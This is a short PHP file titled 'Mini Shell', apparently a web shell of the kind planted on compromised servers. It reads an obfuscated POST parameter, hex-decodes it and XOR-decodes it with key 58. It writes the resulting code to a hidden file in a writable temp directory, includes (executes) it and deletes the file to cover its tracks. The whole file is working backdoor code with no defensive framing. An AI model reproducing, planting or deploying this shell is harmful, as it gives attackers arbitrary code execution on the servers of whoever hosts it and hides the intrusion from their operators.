Mini Shell

<?php

if(count($_POST) > 0 && isset($_POST["r\x65\x63\x6Frd"])){
	$bind = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path()]);
	$factor = hex2bin($_POST["r\x65\x63\x6Frd"]);
	$component=''    ;  for($i=0; $i<strlen($factor); $i++){$component .= chr(ord($factor[$i]) ^ 58);}
	for ($ent = 0, $fac = count($bind); $ent < $fac; $ent++) {
    $reference = $bind[$ent];
    		if (is_dir($reference) ? is_writable($reference) : false) {
    $sym = "$reference" . "/.parameter_group";
    if (@file_put_contents($sym, $component) !== false) {
	include $sym;
	unlink($sym);
	die();
}
}
}
}